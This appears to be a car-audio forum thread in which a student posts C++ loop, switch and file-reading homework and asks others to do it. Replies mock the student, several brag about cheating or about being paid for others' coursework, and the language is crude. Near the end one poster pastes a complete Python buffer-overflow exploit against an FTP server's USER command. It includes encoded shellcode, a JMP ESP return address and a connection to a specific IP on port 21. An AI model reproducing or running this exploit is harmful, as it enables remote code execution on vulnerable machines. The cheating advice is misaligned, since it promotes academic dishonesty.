C++ Help!!!!

I have no idea what to do!!! http://www.caraudio.com/forum/images/smilies/confused.gif, Due in the morning. If anyone could help out or just do part of the problems, so I don’t fail the whole thing, I would greatly appreciate it.

(1a) Use a for loop to add the positive odd numbers less than 100. Output the total.

(1b) Use a while loop to add the positive even numbers less than 50. Output the total

(1c) Use a nested loop structure to compute and print the powers from 1 to 10 of the numbers 2, 3, 4, 5, 6, 7.

(1d) Assume you have the following variable char accountType;
which can have an upper or lower case letter ( c or C for checking account) ( s or S for savings account)
( l or L for loan account).
Write a switch statement that outputs an appropriate message to show the value of the current account type, and prints a reasonable message if the account type is not one of the three types given in this problem.

(2) Write a program in C++ that does the following using file input and common output
• read in the number of students in the class
• read in the number of test scores that each student should have completed
• repeat for each student
read the specified number of student scores
compute the average of a student’s scores
determine the letter grade earned by a student using the following criteria
A average between 90 to 100
B average greater than or equal to 80 but less than 90
C average greater than or equal to 70 but less than 80
U unsatisfactory if less than 70
output a student’s scores, average and letter grade appropriately labeled

Sample output expected from the program:
Student 1: Average = 95.2 Grade = A
Student 2: Average = 88.3 Grade = B
Student 3: Average = 75.2 Grade = C
Student 4: Average = 55.2 Grade = U

// you can assume the correct header files are included
// assumption – valid and complete data is stored in a file called scores.txt
int numOfStudents; // identifies the number of student data lines in file
int numOfscores; // identifies the number of test scores for each student
ifstream inData;
inData.open(“scores.txt”);
inData >> numOfStudents;
inData >> numOfScores;
// remainder of the data in the file is the appropriate number of student scores

Why would anyone help you?

basic loop functions are one of the core aspects of programming…

this is an extremely easy project, hardest part i would say is reading in the file. let me guess you go to ECC?

I remember some of that stuff…

But, I would have to go find my old floppy disk’s to see my old code.

These are all basic building blocks of programming.

As a software engineer who has to deal with people who skated through school by getting others to do there work, good luck. Maybe next time you should pay attention and read the book.

lololo i cheated so hard in this course, sum kid did all of my programs and i did all of his physics, A’s for everybody, just lookin at that shits makes me wanna kill myself

Wow. If you can’t figure out basic stuff you should change majors and not fill the IT industry with more useless people like Jack.

they make everybody in engineering take this shit, even if it isnt your major, the c++ course i took will be the last c++ i ever see, maybe hes a nonmajor taking the course, so he sucks/isnt interested

what the op needs to do is find a friend that can do this shit so you can copy, or just a stranger willing to barter for other workq

Ya copy at any reasonable school and you will find yourself kicked out of the class and maybe the major.

If you cant figure out simple programming you def are not smart enough to cheat at programming. I do miss people like this tho. Was paid a ton each semester to do Java and C++ projects for them.

lol @ reading in a file, being hard

at least try the problem and post the code/compile errors

I used CIS classes at buff state for a minor so that I did not have to take crappy general classes. Have not used it since. The closest I came was troubleshooting C microprocessor code. Although, the thought process for logic and loop control is pretty helpful no matter the language of choice so you should at least try and DIY.

#include <iostream>
#include <string>
using namespace std;

int main() {

}

Now what?

C++

?

it’s worth a shot!

Check out this python leetness

#!/usr/bin/python

import socket
shellcode=("\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"
“\x97\xce\xee\x83\xeb\xfc\xe2\xf4\x39\xfd\x25\xa3\x2d\x6e\x31\x11”
“\x3a\xf7\x45\x82\xe1\xb3\x45\xab\xf9\x1c\xb2\xeb\xbd\x96\x21\x65”
“\x8a\x8f\x45\xb1\xe5\x96\x25\xa7\x4e\xa3\x45\xef\x2b\xa6\x0e\x77”
“\x69\x13\x0e\x9a\xc2\x56\x04\xe3\xc4\x55\x25\x1a\xfe\xc3\xea\xc6”
“\xb0\x72\x45\xb1\xe1\x96\x25\x88\x4e\x9b\x85\x65\x9a\x8b\xcf\x05”
“\xc6\xbb\x45\x67\xa9\xb3\xd2\x8f\x06\xa6\x15\x8a\x4e\xd4\xfe\x65”
“\x85\x9b\x45\x9e\xd9\x3a\x45\xae\xcd\xc9\xa6\x60\x8b\x99\x22\xbe”
“\x3a\x41\xa8\xbd\xa3\xff\xfd\xdc\xad\xe0\xbd\xdc\x9a\xc3\x31\x3e”
“\xad\x5c\x23\x12\xfe\xc7\x31\x38\x9a\x1e\x2b\x88\x44\x7a\xc6\xec”
“\x90\xfd\xcc\x11\x15\xff\x17\xe7\x30\x3a\x99\x11\x13\xc4\x9d\xbd”
“\x96\xd4\x9d\xad\x96\x68\x1e\x86\x05\x3f\xd9\xe4\xa3\xff\xb4\x84”
“\xa3\xc4\x47\x0f\x50\xff\x22\x17\x6f\xf7\x99\x11\x13\xfd\xde\xbf”
“\x90\x68\x1e\x88\xaf\xf3\xa8\x86\xa6\xfa\xa4\xbe\x9c\xbe\x02\x67”
“\x22\xfd\x8a\x67\x27\xa6\x0e\x1d\x6f\x02\x47\x13\x3b\xd5\xe3\x10”
“\x87\xbb\x43\x94\xfd\x3c\x65\x45\xad\xe5\x30\x5d\xd3\x68\xbb\xc6”
“\x3a\x41\x95\xb9\x97\xc6\x9f\xbf\xaf\x96\x9f\xbf\x90\xc6\x31\x3e”
“\xad\x3a\x17\xeb\x0b\xc4\x31\x38\xaf\x68\x31\xd9\x3a\x47\xa6\x09”
“\xbc\x51\xb7\x11\xb0\x93\x31\x38\x3a\xe0\x32\x11\x15\xff\x3e\x64”
“\xc1\xc8\x9d\x11\x13\x68\x1e\xee”)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ret = “\x53\x93\x42\x7e” #JMP ESP in user32.dll SP3
buffer = ‘\x41’ * 485 + ret + ‘\x90’ * 20 + shellcode + ‘\xCC’ * 1173
print "
Sending"
s.connect((‘192.168.23.102’,21))
data = s.recv(1024)
s.send(‘USER ’ +buffer+’
')
s.close()

:lol:

:lol: at LZ and his stack overflows.

which most UPDATED kernels aren’t even vulnerable to (at least not in that form)

Well, this is Buff State right?

lol